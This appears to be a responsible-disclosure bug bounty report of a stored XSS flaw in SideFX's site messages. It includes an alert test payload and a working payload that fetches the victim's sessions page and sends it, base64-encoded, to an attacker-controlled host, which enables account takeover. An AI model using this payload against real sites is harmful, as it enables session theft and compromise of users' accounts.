SideFX · Report #1669764
Stored XSS in messages
How it was found
Summary:
I have researched availabilities for XSS attacks and i found it in messages. You should be authorized for this and approved by admin. To do this, you just need to make a post on the forum, which I did as the first step.
I was able to steal the session ID of the victim account (my second test account) and log in using it.
A session cannot be stolen via cookies, but the user has a page https://www.sidefx.com/account/sessions/. I sent a request to this page through the victim's account, and then inserted an image on the page with a link to my site. As a get parameter, I specified an html response encoded in base64<img src=http://mysite.com?q={HTML}>. It works even without a certificate
Steps To Reproduce:
[add details for how we can reproduce the issue]
- Your account must be approved to be able to send messages
- Send message for some user (I sent messages to myself and my second test account). Message content
https://example.com/">sadf</a><img src="xx"onerror="alert('XSS')"> - Open a received or just sent message. You will see
alertmessage
Supporting Material/References:
My payload for getting session:
https://example.com/">sadf</a><img src="xxx"onerror="fetch('https://www.sidefx.com/account/sessions').then(response=>{response.text().then(ddd=>{let el=document.createElement('img');el.src='http://myfakesite.com?q='+btoa(encodeURIComponent(ddd));document.body.appendChild(el)})})">
Impact
This is a really critical vulnerability, because the site has a list of forum users (https://www.sidefx.com/forum/users/) and such a load can be sent to each user